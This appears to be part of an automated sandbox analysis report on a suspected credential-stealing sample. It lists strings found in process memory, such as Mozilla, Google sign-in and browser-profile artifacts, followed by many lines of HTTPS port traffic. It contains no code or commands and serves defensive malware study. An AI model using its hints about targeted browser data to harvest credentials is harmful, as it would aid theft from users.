Source: file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Blade.14.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	String found in binary or memory: https://www.globalsign.com/repository/06
Source: file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_98.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_98.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_98.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/AECBGDHJKFID
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0
Source: KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2023765436.0000000023F1F000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2981805748.0000000005F49000.00000004.00000800.00020000.00000000.sdmp, KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2023765436.0000000023F1F000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2981805748.0000000005F49000.00000004.00000800.00020000.00000000.sdmp, KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/s:
Source: firefox.exe, 0000002D.00000002.3055660321.0000024E23103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3055660321.0000024E2316C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3055660321.0000024E23161000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002B.00000002.3048675721.0000020060B70000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3052226554.000002D03A4BF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3054686481.0000024E22E89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000002D.00000002.3054686481.0000024E22E89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd6
Source: firefox.exe, 0000002D.00000002.3058260858.0000024E249BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
